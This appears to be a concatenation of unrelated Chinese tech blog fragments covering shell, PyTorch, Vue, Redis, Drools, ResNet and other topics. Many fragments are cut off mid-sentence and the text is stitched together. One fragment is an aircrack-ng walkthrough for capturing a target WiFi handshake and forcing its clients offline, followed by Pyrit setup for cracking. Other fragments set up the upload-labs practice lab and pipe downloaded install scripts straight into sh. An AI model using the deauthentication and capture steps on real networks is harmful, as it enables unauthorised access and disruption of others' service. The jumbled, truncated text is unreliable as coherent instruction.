# curl下载 sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" # wget下载 sh -c "$(wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" # fetch下载 sh -c "$(fetch -o - https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" 配置文件的备份与创建
# 备份原配置文件 cp ~/.zshrc ~/.zshrc_bp # 创建新的配置文件 cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc Note: 如果在这之前安装了Anaconda,可能需要将原配置文件中的环境变量设置拷贝到新的配置文件中。
3 安装PowerLine pip install powerline-status Note:此处我已经安装过Anaconda
4 安装PowerFonts GitHub仓库:https://github.com/powerline/fonts
好像很多主题必须得改用Meslo字体,否则会导致显示乱码。
# 新建文件夹,用来存储相关资源 mkdir -p ~/The/Path/U/Like cd ~/The/Path/U/Like # 下载源码 git clone https://github.
在conda中安装pytorch 一、创建conda环境二、进入环境三、安装pytorch四、测试 一、创建conda环境 打开cmd,使用以下命令可以创建一个名为pytorch的环境,python版本是3.8。 conda create --name=pytorch python=3.8 二、进入环境 刚刚创建的环境叫pytorch,所以用以下命令进入这个环境: activate pytorch 如果在命令行行首出现(pytorch)字样,就是成功进入环境了。如下图:
如果没有出现,那么可以通过anaconda打开这个环境:
三、安装pytorch 在pytorch官网(https://pytorch.org/get-started/previous-versions/)可以查看不同pytorch版本在不同操作系统的各种安装方式。
目前pytorch最新版本是1.8.0的。
我的显卡的CUDA版本是11,所以这里我使用:
conda install pytorch==1.8.0 torchvision==0.9.0 torchaudio==0.8.0 cudatoolkit=11.1 -c pytorch -c conda-forge 如果显卡不支持CUDA,也可以安装CPU版本的pytorch,例如使用: conda install pytorch==1.8.0 torchvision==0.9.0 torchaudio==0.8.0 cpuonly -c pytorch 其他版本的pytorch可以去官网了解。 四、测试 在这个环境下,在命令行输入: python 然后输入: import torch import torchvision torch.cuda.is_available() 如果像下图一样没有报错,就是安装成功了。
@types/jsurl/index.d.ts' is not a module.
npm i jsurl 安装错误,
因为 typescript无法用此方法安装,卸载干净。
1. 增加types目录
新建jsurl.d.ts文件,写入:
declare module 'jsurl' { type Nullable<T> = T | null | undefined; export function stringify(input: any): string; export function parse(input?: Nullable<string>): Nullable<any>; } 2)重新运行,成功!
大家好,我是早起。
作为程序员,你一定对 markdown 不陌生,对于我来说,从技术文档到知乎、CSDN、公众号等文章,都会选择用markdown写,因为他可以让我专注于写作。
但用 markdown 写公众号体验很丝滑是真,排版起来痛苦也不假,因为公众号后台不支持原生markdown 渲染,你必须要通过一个第三方的平台来进行排版。
目前方案 之前我写公众号的流程都是使用typora或者其他markdown编辑器写文章,然后将文章复制到第三方平台例如md2all或者mdnice等网站选择合适的主题进行排版,之后再将排版好的文章复制粘贴到公众号后台,并在公众号后台微调部分内容推送出来。
虽然有点麻烦,不过在之前我还是挺喜欢 mdnice,因为有很多好看的主题,但自从某个版本之后,使用需要额外打开手机扫码登陆、跳转到新页面、删除初始内容等操作才能排版(当然是可以理解,毕竟没法用爱发电),但这也无疑让我花费更多时间。
并且使用第三方平台进行调整还有一个让我不满的就是,有时我会在排版时再次删减、调整部分文章内容,所以就需要在网页和本地修改两次,这也很麻烦。
于是趁着过年,我尝试探索一个更加简单的方式,让我可以专注于写文章而不是写完之后浪费很多时间在排版上。
Typora 首先想到的自然是使用Typora,毕竟本身就是所见即所得型编辑器,并且也支持自定义主题,同时还能结合PicGo粘贴自动上传图床,于是尝试定制一份公众号专用的主题。
网上搜索了一番之后,确实有很多不错的主题,我也结合sspai样式修改了一些自定义的元素,并且通过设置max-width可以保证和微信手机页面一样的宽度,这样就可以完全保证所见即所得
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eA4HRRVD-1649395024210)(https://pic.liuzaoqi.com/picgo/202202081203967.png)]
现在我只需要在Typora中写markdown文章,写完之后全选、粘贴到公众号后台即可,看起来很美好。
但是问题出现在代码块,如果文章中出现代码块,即使在Typora中可以不自动换行并添加滚动条,粘贴到公众号之后还是会自动换行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JomSX8gS-1649395024211)(https://pic.liuzaoqi.com/picgo/202202081210848.png)]
经过一系列的搜索与研究之后发现,公众号后台html渲染代码块是pre标签包住code标签,控制滚动条的overflow属性是在code标签中定义,而typora是直接通过pre标签渲染
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0wXt8Lnk-1649395024211)(https://pic.liuzaoqi.com/picgo/202202081212820.png)]
所以要想实现代码块的滚动,很可能要对typora的源码进行修改,而这我肯定搞不定,而我几乎每篇文章都会附上很多代码,所以纵使它让我花费了很多时间,也很接近我的需求,但还是放弃了这个思路。
Marktext 既然Typora没法实现时,我只能继续探索其他方案,首先想到的是在 typora 收费后,很多博主转发过的 Marktext,号称下一代markdown编辑器,目前在GitHub上已经有28.9k star,想必不会太拉垮
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LhlZujD4-1649395024211)(https://pic.liuzaoqi.com/picgo/202202081125378.png)]
然鹅,下载下来使用之后,实际体验却很糟糕,全英文就不说了,是我自己英文不好,但是他没有目录树管理、不支持国内主流图床,更重要的是无法点击自定义主题
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-87pLmOOY-1649395024211)(https://pic.liuzaoqi.com/picgo/202202081130371.png)]
遂光速放弃该方案
MWeb 接下来就是不断试其他的markdown编辑器,只要能支持自定义主题并且代码块可以正常粘贴就能满足我的需求。
最终,当我打开多年未用的MWeb
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Z3Xxar6-1649395024212)(https://pic.liuzaoqi.com/picgo/202202081215506.png)]
发现它的代码块无需额外设置,也能完美粘贴到公众号后台
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-87mNuyse-1649395024212)(https://pic.liuzaoqi.com/picgo/202202081213644.png)]
于是接下来的任务,就是用我三脚猫的前端知识,去写一个适配公众号的主题CSS,经过一番调整,最终完美实现本文开头的需求,现在我写公众号文章,只需要打开Mweb写markdown,写完之后直接全选拷贝到公众号后台,无需多余的调整即可推送出去!
当然MWeb也有一些缺点,首先是付费制,记得当年购买应该是花了100多元。其次是它自从更新到 4.0 版本之后,取消了粘贴本地图片直接上传到图床的功能,这也让我改变直接粘贴图片的习惯,但至少在目前看来,这应该是我以后写markdown的主战场了。
第一类:数据类型关键字 A基本数据类型(5个) void:声明函数无返回值或参数,声明无类型指针,显式丢弃运算结果。char:字符型数据类型int:整型数据类型float:单精度浮点型数据(属于浮点数据的一种,小数点后保留6位)double:双精度浮点型数据(属于浮点数据的一种,比 float 类型的精度高,小数点后保留15/16位) B类型修饰关键字(4个) short:修饰 int,短整型数据,可省略被修饰的 int。long:修饰 int,长整型数据,可省略被修饰的 int。signed:修饰整型数据,有符号数据类型。unsigned:修饰整型数据,无符号数据类型。 C复杂类型关键字(5个) struct:结构体声明union:共用体声明enum:枚举声明typedef:声明类型别名sizeof:得到特定类型或特定类型变量所占字节的大小 D存储级别关键字(6个) auto:指定为自动变量,由编译器自动分配及释放(通常在栈上分配)。static:指定为静态变量,分配在静态变量区。修饰函数时,指定函数作用域为文件内部。register:指定为寄存器变量,建议编译器将变量存储到寄存器中;也可以修饰函数形参,建议编译器通过寄存器而不是堆栈传递参数。extern:指定对应变量为外部变量,即在另外的目标文件中的定义,可以认为是约定由另外文件声明的。const:与 volatile 合称 “ cv特性 ” ,指定变量不可被当前线程/进程改变(但有可能被系统或其他线程/进程改变)。volatile:与 const 合称 “ cv特性 ” ,指定变量的值有可能会被系统或其他线程/进程改变,强制编译器每次从内存中取得该变量的值。 第二类流程控制关键字 A跳转结构(4个) return:用在函数体中,返回特定值(或是 void 值,即不返回值)。continue:结束当前循环,开始下一轮循环。break:跳出当前循环或 Switch 结构goto:无条件跳转语句 B分支结构(5个) if:条件语句else:条件语句否定分支(与 if 连用)switch:开关语句(多重分支语句)case:开关语句中的分支标记default:开关语句中的 “ 其他 ” 分支(可选) C循环结构(3个) for:for循环结构 for(①;②;③) ④ ; 的执行顺序为①→②→④→③→②→④…循环,其中②为循环条件。do:do循环结构 do ① while(②) ; 的执行顺序为①→②→①→②→①…循环,其中②为循环条件。while:while循环结构 while(①) ② ; 的执行顺序为①→②→①→②→①…循环,其中①为循环条件。
1.什么是hadoop
分布式大数据平台
mysql 工作原理:架构cs/bs
通过网络发送
server client
通过软件编写一个数据库
服务端server
客户端client
如此建立的数据库的弊端:无法扩容内存,数据只存储在server,抗压能力弱
因此hadoop分布式大数据平台是更好的选择
2.hadoop里面有那些主件
hdfs-----分布式文件系统
hive-----数据仓库
HBase------分布式数据库
(1)搭建hadoop
master -----主节点 ------内存4500MB CPU---1 硬盘40G
svlave -----从节点 ------内存2500MB CPU---1 硬盘40G
yum install wget
wget http://public-repo-1.hortonworks.com/ambari/centos6/2.x/updates/2.0.1/ambari.repo
HRNet代码及原理分析(一)-- 网络结构 通常来说,目前市场上主流物体关键点的方法一般分两类:基于坐标回归,热力图。而后者主要是由高到低分辨率网络然后由低分辨率网络再转到高分辨率网络中(high-to-low resolution—>low-to-high resolution)。但是微软提出的一种新型的网络结构–HRNet。
上图是high-to-low resolution—>low-to-high resolution的一般的网络结构,下图就是HRNet的大概的网络结构。可以清楚的看到,HRNet在网络分辨率上是没有进行改变的,主网络的shape一直都是保持一样的,这种设计可以保护图片的局部信息,不会因为卷积而丢失过多的信息。
代码:HRNet
(因为官方是使用pytorch实现的,所以我单独在github找了个tf版本的)
下面,就是进行代码拆解:
input_images = tf.placeholder(tf.float32, [None, 256, 192, 3]) ...... net_output = HRNet(input=input_images, is_training=is_training) 进入HRNet的函数中可以发现一共有四个步骤,挨个进行~
在进行步骤解读之前,先搞清楚一下每个基本模块的作用~
Basic Module leaky_Relu(激活函数,HRNet中最常用的,这里没什么可说的):
def leaky_Relu(input, name=''): return tf.nn.leaky_relu(input, alpha=0.1, name=name + '_relu') conv_2d(卷积+BN+激活,注意这里没有用池化,因为HRNet中的主网络shape是保持不变的,不需要进行池化来改变其shape):
def conv_2d(inputs, channels, kernel_size=3, strides=1, batch_normalization=True, activation=None, name='', padding='same', kernel_initializer=tf.random_normal_initializer(stddev=0.01), is_training=True): output = tf.layers.conv2d(inputs=inputs, filters=channels, kernel_size=kernel_size, strides=strides, padding=padding, name=name + '_conv', kernel_initializer=kernel_initializer) name = name + '_conv' if batch_normalization: output = tf.
数据分析基础知识(一) NumPy 库 概念与作用 NumPy是一个开源的Python科学计算基础库,还是 Scipy、Pandas 等数据处理或科学计算库的基础 ,它被用于用于科学计算,且在性能、存储方面都具有一定优势。
优势: 1】由预编译好的 C 代码快速执行计算,故比之Python,它的运算速度更快。
2】有更好的存储结构来提高计算效率。
知识体系
ndarray数据结构及其特征
ufunc通用函数 像一套能处理数组的工具,能对NumPy数组中的元素逐个进行操作。
和 Python内置的math模块类似,它主要用于实现一些较为基础的数组运算,例如数学函数、三角函数等。
常见函数:
np.add()
np.subtract()
其他子模块包
包括随机数包、线性代数包,矩阵包等内容。
常见函数:
np.random.randint(low,high,shape)
导入 import numpy as np
认识ndarray数组 ndarray是一个多维数组对象
数据的维度 维度是一组数据的组织形式,一定程度上决定了一组数据的表达含义。
一维数据: 一般是由线性方式组织的数据构成
如 Python 中的列表,只能从列这一个角度去描述数据。
二维数据: 由多个一维数据构成,是一维数据的组合
如嵌套列表表示的表格,可以从行列两个维度描述。
三维数据: 由一维数据/二维数据在新维度上扩展形成
如再更多一层的列表嵌套。
更高维数据…
创建ndarray数组 语法: np.array(列表/元组…)
用法: 将Python中的列表、元组等数据类型作为参数传入到array方法中。
特点: 传几维的 Python 数据进 array() 方法中,就会生成几维的 ndarray 数组出来。
注意:不同于 Python ,ndarray 数组要求所有的元素类型相同,故传入的数据参数需要统一其内部元素的数据类型。
ndarray数组的特征 元素的数据类型
单个数组中的数据是同质的,即所有元素的数据类型是相同的
属性:dtype 表示数组元素的数据类型,需要查看ndarray数据类型时调用即可 例:
import cv2 import numpy as np def img_show(name, img): cv2.imshow(name, img) cv2.waitKey(0) img1=cv2.imread(path1) img2=cv2.imread(path2) img1 = cv2.resize(img1, (640, 640)) img2 = cv2.resize(img2, (640, 640)) new_img = np.hstack([img1, img2]) img_show('new_img', new_img)
内置指令 我们学过的指令:
v-bind : 单向绑定解析表达式,可简写为:XXx
v-model : 双向数据绑定
v- for : 遍历数组/对象/字符串
v- on : 绑定事件监听,可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在) v- show : 条件演染(动态控制节点是否展示)
v-text 1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别: v-text会替换掉节点中的内容
v-html 注意: v-html有安全性问题
(1).在网站上动态谊染任意HTML是非常危险的。
(2).一定要在可信的内容上使用v-html
v-cloak
1.本质是个特殊属性, Vue重例创建完中并接管容器后,会删掉v- cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的
<style> [v-clock]{ display: none; } </style> <body> <div> <h2 v-cloak>{{name}}</h2> </div> </body> v-once
1.v-once所在节点在初次动态演染后,就视为静态内容了。
2.以后数据的改变不会引起V- once所在结构的更新。可以用于优化性能。
<div id="root"> <h2 v-once>n的初值:{{n}}</h2> <h2>当前n的值</h2> <button @click="n++">点击n++</button> </div> v-pre
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<div id="root"> <h2 v-pre>Vue</h2> <h2 v-once>n的初值:{{n}}</h2> <h2>当前n的值</h2> <button @click="
使用inStr方法时,对比较模式有点搞不清楚,到底binarycompare和textcompare有什么区别。
其实这在英文中用的比较多,中文问题不大,例如p和P,在二进制比较中,这两个就完全两种东西,在文本比较中,这两个东西是同一个东西。
看看官方的例子很容易弄懂:
' 定义要被检索的字符串 Dim searchString As String = "XXpXXpXXPXXP" ' 定义要检索的字符串(大写的P) Dim searchChar As String = "P" Dim testPos As Integer ' 文本比较:从第4个字符开始,结果为6,因为小p和大P没区别。 testPos = InStr(4, searchString, searchChar, CompareMethod.Text) ' 二进制比较:从第1个字符开始,结果为9,因为小p和大P有区别,定位到最后一个大P testPos = InStr(1, SearchString, SearchChar, CompareMethod.Binary) ' 如果可选比较模式缺省,默认为二进制比较,将返回9。 ' 如果可选比较模式为文本比较,将返回3 testPos = InStr(searchString, searchChar) ' 如果未查询到要检索的字符串则返回0 testPos = InStr(1, searchString, "W")
1.查看网卡
airmon-ng 2.将网卡设置为监听模式
airmon-ng start [网卡] 设置后网卡名会变成[网卡名mon],这里和下面都用wlan0mon
3.扫描wifi
airodump-ng wlan0mon 可以按a切换到同时看 wifi列表mac地址和客户端mac地址
如果想只看某一个wifi的信息可以用
airodump-ng --bssid [对方的mac] wlan0mon 这样方便获取该wifi下的连接客户端mac用于接下来攻击
4.获取握手包
airodump-ng --bssid [目标wifimac] -c [目标wifi信道] -w [保存的文件名] wlan0mon
注意!!!这里一定要与对方wifi信道相同否则抓不到握手包,也攻击不了
5.强制对方连接的客户端下线
新开一个窗口
aireplay-ng -0 [次数] -a [目标wifimac] -c [目标wifi连接的客户端mac] wlan0mon
# WPA/WPA2-PSK
# Fluxion依赖
网上给的apt资源好像都失效了,可以找个git资源安装
1.下载python2及相关依赖
apt-get install libpcap-dev
apt-get install python2.7-dev libssl-dev zlib1g-dev libpcap-dev
2.从git上取pyrit资源
git clone https://github.com/JPaulMora/Pyrit.git
如果该链接失效了可以直接上github搜pyrit找找
3.安装
cd pyrit
由于系统默认装了python3,pyrit的build需要python2,这里要注意使用python2环境
python setup.py clean
python setup.py build
python setup.py install
如果默认是python3环境
python2 setup.py clean
python2 setup.py build
python2 setup.py install
Drools规则引擎的基本使用 1、概述 规则引擎是一种嵌入在应用程序中的组件,实现了将业务决策从应用程序代码中分离出来,并使用预定义的语义模块编写业务决策。接受数据输入,解释业务规则,并根据业务规则做出业务决策。
Drools是一个基于java的规则引擎,开源的,可以将复杂多变的规则从硬编码中解放出来,以规则脚本的形式存放在文件中,使得规则的变更不需要修正代码重启机器就可以立即在线上环境生效。
其前身是 Codehaus 的一个开源项目叫 Drools,最近被纳入 JBoss 门下,更名为 JBoss Rules,成为了 JBoss 应用服务器的规则引擎。
常见规则引擎:
IBM的iLog,商业产品
Drools,开源
最近比较火的FLink CEP,开源
Easy Rule,开源
阿里的qlexpress,开源
2、工作机制 左边是规则,右边是事实(数据),中间就是执行器(决策引擎)
在 Drools 中,规则被存放在 Production Memory(规则库)中,要匹配的facts(事实)被存在 Working Memory(工作内存)中。当时facts被插入到工作内存中后,规则引擎会把事实和规则库里的模式进行匹配;
对于匹配成功的规则再由 Agenda 负责具体执行推理算法中被激发规则的结论部分,同时 Agenda 通过冲突决策策略管理这些冲突规则的执行顺序,Drools 中规则冲突决策策略有:(1) 优先级策略 (2) 复杂度优先策略 (3) 简单性优先策略 (4) 广度策略 (5) 深度策略 (6) 装载序号策略 (7) 随机策略
3、基本使用 Kmodule配置
<?xml version="1.0" encoding="utf-8" ?> <kmodule xmlns="http://www.drools.org/xsd/kmodule"> <kbase name="rules"> <ksession name="all-rules"></ksession> </kbase> </kmodule> Fact类:
@Data public class Applicant { private String name; private int age; private boolean valid; public Applicant(String name, int age) { this.
su root
切换root用户(docker的使用需要在root下)
dockder search upload-labs
在docker镜像仓库(公有仓库)搜索upload-labs镜像
docker pull c0ny1/upload-labs
从公有仓库拉取下载upload-labs镜像
(拉取哪个都可以)
docker images
查看本地私有仓库的镜像
如图upload-labs镜像下载成功
docker run -d -p 80:80 c0ny1/upload-labs
运行镜像,将镜像内的80端口映射到本地的80端口上面
-p80:80 第一个80为本地80端口,第二个80为镜像内服务端口
浏览器访问本地查看
这里还没有结束,环境中文件无法上传
(需要创建一个upload文件夹并将此目录下的所有档案与子目录的拥有者皆设为www-data群体的使用者www-data)
docker ps
查看运行镜像的容器进程
在这里找到c0ny1/upload-labs的容器ID为ff2cab555aa7
使用时采用前三位ff2就可以
docker exec -it ff2 /bin/bash
进入upload-labs容器,可以理解为进入操作系统进行操作
/var/www/html 是当前容器内网站的根目录;
mkdir upload
创建upload文件夹
chown www-data:www-data upload
将权限变更为www-data
文件详细信息可通过ls -l查看
搭建完成就可以尝试在这个环境上进行文件上传练习了
学前小故事
数据库和缓存保证一致性小故事
windows && linux 安装redis
redis 持久化
redis API
学前小故事
[我是redis]
你好,我是Redis,一个叫Antirez的男人把我带到了这个世界上。 说起我的诞生,跟关系数据库MySQL还挺有渊源的。
在我还没来到这个世界上的时候,MySQL过的很辛苦,互联网发展的越来越快,它容纳的数据也越来越多,用户请求也随之暴涨,而每一个用户请求都变成了对它的一个又一个读写操作,MySQL是苦不堪言。尤其是到“双11”、“618“这种全民购物狂欢的日子,都是MySQL受苦受难的日子。
据后来MySQL告诉我说,其实有一大半的用户请求都是读操作,而且经常都是重复查询一个东西,浪费它很多时间去进行磁盘I/O。
后来有人就琢磨,是不是可以学学CPU,给数据库也加一个缓存呢?于是我就诞生了!
出生不久,我就和MySQL成为了好朋友,我们俩常常携手出现在后端服务器中。
应用程序们从MySQL查询到的数据,在我这里登记一下,后面再需要用到的时候,就先找我要,我这里没有再找MySQL要。
为了方便使用,我支持好几种数据结构的存储:
* String
* Hash
* List
* Set
* SortedSet
* Bitmap
因为我把登记的数据都记录在内存中,不用去执行慢如蜗牛的I/O操作,所以找我要比找MySQL要省去了不少的时间呢。
可别小瞧这简单的一个改变,我可为MySQL减轻了不小的负担!随着程序的运行,我缓存的数据越来越多,有相当部分时间我都给它挡住了用户请求,这一下它可乐得清闲自在了!
有了我的加入,网络服务的性能提升了不少,这都归功于我为数据库挨了不少枪子儿。
[缓存过期 && 缓存淘汰]
不过很快我发现事情不妙了,我缓存的数据都是在内存中,可是就算是在服务器上,内存的空间资源还是很有限的,不能无节制的这么存下去,我得想个办法,不然吃枣药丸。
不久,我想到了一个办法:给缓存内容设置一个超时时间,具体设置多长交给应用程序们去设置,我要做的就是把过期了的内容从我里面删除掉,及时腾出空间就行了。
超时时间有了,我该在什么时候去干这个清理的活呢?
最简单的就是定期删除,我决定100ms就做一次,一秒钟就是10次!
我清理的时候也不能一口气把所有过期的都给删除掉,我这里面存了大量的数据,要全面扫一遍的话那不知道要花多久时间,会严重影响我接待新的客户请求的!
时间紧任务重,我只好随机选择一部分来清理,能缓解内存压力就行了。
就这样过了一段日子,我发现有些个键值运气比较好,每次都没有被我的随机算法选中,每次都能幸免于难,这可不行,这些长时间过期的数据一直霸占着不少的内存空间!气抖冷!
我眼里可揉不得沙子!于是在原来定期删除的基础上,又加了一招:
那些原来逃脱我随机选择算法的键值,一旦遇到查询请求,被我发现已经超期了,那我就绝不客气,立即删除。
这种方式因为是被动式触发的,不查询就不会发生,所以也叫惰性删除!
可是,还是有部分键值,既逃脱了我的随机选择算法,又一直没有被查询,导致它们一直逍遥法外!而于此同时,可以使用的内存空间却越来越少。
而且就算退一步讲,我能够把过期的数据都删除掉,那万一过期时间设置的很长,还没等到我去清理,内存就吃满了,一样要吃枣药丸,所以我还得想个办法。
我苦思良久,终于憋出了个大招:内存淘汰策略,这一次我要彻底解决问题!
我提供了8种策略供应用程序选择,用于我遇到内存不足时该如何决策:
* noeviction:返回错误,不会删除任何键值
* allkeys-lru:使用LRU算法删除最近最少使用的键值
* volatile-lru:使用LRU算法从设置了过期时间的键集合中删除最近最少使用的键值
* allkeys-random:从所有key随机删除
* volatile-random:从设置了过期时间的键的集合中随机删除
* volatile-ttl:从设置了过期时间的键中删除剩余时间最短的键
* volatile-lfu:从配置了过期时间的键中删除使用频率最少的键
* allkeys-lfu:从所有键中删除使用频率最少的键
有了上面几套组合拳,我再也不用担心过期数据多了把空间撑满的问题了~
1、在pycharm里的File里面找到setting
2、Tools工具里找到External Tools
3、选择“+”,添加
其中Name 根据你自己想法取,这里写的是 Qt Designer。Program:这里是找到你的designer.exe文件,复制其路径,放入这里面。Working directory:这里填 $ProjectFileDir$,也可以根据你自己的需要选择文件夹,然后点击ok,点击apply,再点ok,即可得到如下:
4、ui转py。步骤跟上述步骤一样,需要注意的就是:program和Arguments这里,先上图
program,这里有的人说是选择ui.exe文件,有的是选择python.exe文件,不同的电脑,笔记本,情况不一样,大家可以试试,我两种都试过了,最后发现我的电脑得用python.exe。
Arguments这里填-m PyQt5.uic.pyuic $FileName$ -o $FileNameWithoutExtension$.py,可以让你生成的py文件名字与ui文件名字一致。
同样的,有的电脑适合这个,都可以试试:$FileName$ -o $FileNameWithoutExtension$.py
5、ui转py操作。选中ui文件,右键,在external tools工具里选择:
6、生成发py文件中,右键运行后,不会出可视化界面,需要在py文件最后添加:
import sys if __name__== "__main__": app = QtWidgets.QApplication(sys.argv) # 创建一个QApplication,即将开发的软件app MainWindow = QtWidgets.QMainWindow() #QMainWindow装载需要的组件 ui = Ui_MainWindow() ui.setupUi(MainWindow) #执行类中的setupUi方法 MainWindow.show() sys.exit(app.exec_()) #exit()或点击按钮退出app 7、再次右键运行,即可出现可视化界面
第一次发布,如果有啥问题的,敬请批评指导。
1 单击文件夹,----->进入属性---->进入安全
2 进入编辑
3 设置权限
4成功了
总结 单纯的复制文件到服务器速度会很慢,例如这个要1小时 ,命令只有1分钟不到
思路:
这道题是常规的模拟题,根据题意写出相关代码即可。模拟题一般容易在边界条件上出错,建议自己设计几个样例测试一下。这题纯暴力的方法不能通过所有的测试点,对于最后的查询,应该使用二分查找,这样算法的整体复杂度是O(nlogn)
参考代码:
#include<bits/stdc++.h> #define INF 0x3f3f3f3f using namespace std; typedef long long ll; string s; int k, len; vector<int> alice, bob; //用于记录两个单词成功出现在文本中时的首字母位置 bool if_letter(char c) //判断是不是字母 { if(c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z') return true; else return false; } bool if_alice(int index) //判断当前位置是不是单词Alice的起始位置 { string tmp = "Alice"; for(int i = 0; i < 5; i++) { if(tmp[i] != s[index+i]) return false; } if(index > 0 && if_letter(s[index-1])) return false; if(index+5 < len && if_letter(s[index+5])) return false; return true; } bool if_bob(int index) //判断当前位置是不是单词Bob的起始位置 { string tmp = "
文章目录 ✅ 1. 准备工作☑️ 1.1 streamlit脚本准备☑️ 1.2 Dockerfile准备▶️ 1.2.1模板▶️ 1.2.2 我个人的 ✅ 2. pip安装私有包✅ 3. docker build☑️ 3.1 构建镜像☑️ 3.2 运行容器☑️ 3.3 删除容器和镜像☑️ 3.4 后台运行容器/后台调回前面 ✅ 1. 准备工作 ☑️ 1.1 streamlit脚本准备 把你的streamlit应用涉及到的东西都放到一个文件夹里,该封装的封装好,保证最后可以直接使用
streamlit run XXX.py 这个直接运行,不要有多余的步骤
streamlit页面优化
在sidebar添加logo(通过使用st.sidebar.image()实现):https://discuss.streamlit.io/t/inserting-image-at-side-bar/12114
在sidebar添加文字st.sidebar.text()实现:https://docs.streamlit.io/en/stable/api.html?highlight=sidebar#add-widgets-to-sidebar
修改sidebar颜色(自己通过浏览器控制台找到控制sidebar颜色的css类):https://discuss.streamlit.io/t/how-to-set-the-background-color-of-st-sidebar/4888
大致代码:
st.sidebar.image("XXXX/logo.png", use_column_width=True) st.sidebar.text("联系我们:") st.sidebar.text("https://XXXX/") st.markdown( """ <style> .css-17eq0hr{ background-color: #182b45!important; color: white!important; background-image: none; } .css-j8zjtb{ font-size:1.0rem; } </style> """, unsafe_allow_html=True, ) 最后的效果大概是:
☑️ 1.2 Dockerfile准备 一般都是通过dockerfile文件来构建一个image镜像,然后通过镜像启动一个容器,启动容器的时候,在dockerfile里就配置了容器启动时要自动执行的命令,即streamlit run XXX.
IoTDB下载安装 环境准备 IoTDB 的理念就是系统运维要简单,要一键启动、开箱即用。先从安装环境开始说起
安装前需要保证设备上配有 JDK>=1.8 的运行环境,并配置好 JAVA_HOME 环境变量;
如果希望能从源代码编译和安装IoTDB,需要maven版本 >= 3.6;
将最大文件打开数(max open files)设置为 65535,以避免"too many open files"错误。
将 somaxconn 设置为 65535,以避免系统在高负载时出现"connection reset" 错误(可选)。
下载与安装 IoTDB 提供了两种安装方式:
第一种,从官网下载安装包。这是推荐的安装方式,通过该方式,可以得到一个可以立即使用的、打包好的二进制可执行文件。
第二种,使用源码编译。如果想自行修改代码,可以使用这种安装方式。
历史版本下载:https://archive.apache.org/dist/iotdb/
从官网下载二进制可执行文件 可以从 http://iotdb.apache.org/Download/ (opens new window)上下载已经编译好的可执行程序 iotdb-xxx.zip,该压缩包包含了 IoTDB 系统运行所需的所有必要组件。
下载后,可使用如下命令对 IoTDB 的压缩包进行解压:
uzip iotdb-<version>.zip 使用源码编译 可以获取已发布的源码 https://iotdb.apache.org/Download/,或者从 https://github.com/apache/iotdb/tree/master 仓库获取
克隆项目 git clone https://github.com/apache/iotdb.git 源码克隆后,进入到源码文件夹目录下。
如果想编译已经发布过的版本,可以先用git checkout -b my_{project.version} v{project.version}命令新建并切换分支。比如当要编译0.12.4这个版本的源码,可以用如下命令去切换分支:
git checkout -b my_0.12.4 v0.12.4 server编译 切换分支之后就可以使用以下命令进行编译:
mvn clean package -pl server -am -Dmaven.
大家好,好长时间都没有更新博客,最近会梳理一下自己在工作中经常遇到的内容,尽量简单易懂,可以直接copy,运行起来,当然大家也可以收藏起来,以后直接copy使用
# coding: utf-8 import csv ''' 写读追加状态 'r':读 'w':写 'a':追加 'r+' == r+w(可读可写,文件若不存在就报错(IOError)) 'w+' == w+r(可读可写,文件若不存在就创建) 'a+' ==a+r(可追加可写,文件若不存在就创建) 对应的,如果是二进制文件,就都加一个b就好啦: 'rb' 'wb' 'ab' 'rb+' 'wb+' 'ab+' ''' # read csv file, return list def read_csv(file_name): with open(file_name, 'r',encoding='utf-8') as f: reader = csv.reader(f) data = list(reader) return data # write csv file, return nothing def write_csv(file_name, data, mode='w+'): with open(file_name, mode, newline="\n",encoding='utf-8') as f: writer = csv.writer(f) writer.writerows(data) # dict writ into csv file, return nothing def write_csv_dict(file_name, data, mode='w+'): with open(file_name, mode, newline="
1.亮点 提出了超深的网络结构,可达1000层提出了残差模块使用BN加速训练,丢弃dropout QA:是不是层数越深越好?
显然,不是,当层数过深,会引起梯度消失,梯度爆炸和退化等问题 ,解决方法,引入非线性激活函数以及BN批量归一化等。
2. ResNet网络结构 在这里,以为Resnet18为例,首先通过一个7x7的64通道的卷积核,再通过一个3x3,padding =2的最大池化,输出高宽减为原来的1/4,通道变为64,如下图所示:output: 3x224x224------64x112x112----64x56x56
con2_x: 经过两个(3x3x64+3x3x64),输出还是56x56x64,从从第二block开始,每个block第一层都有一个shortcut,前提是输入特征和矩阵的shape必须和输出特征矩阵的shape一样,才能进行shortcut连接。
con3_x: 第一个卷积层为3x3x128,s=2,输出变为为128x28x28,再经过一个3x3x128,s = 1,输出仍为128x28x28
con4_x and con5_x: 与con3_x类似,只是通道数改变而已
表中省略了其中的relu激活函数和BN批量归一化
from torchvision.models import resnet18 net = resnet18() print(net) ResNet( (conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False) (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True) (relu): ReLU(inplace=True) (maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False) (layer1): Sequential( (0): BasicBlock( (conv1): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False) (bn1): BatchNorm2d(64, eps=1e-05, momentum=0.
安装新版idea之后发现双击软件图标运行不了:
原因:新版idea会自动加载老版的配置文件导致不可用
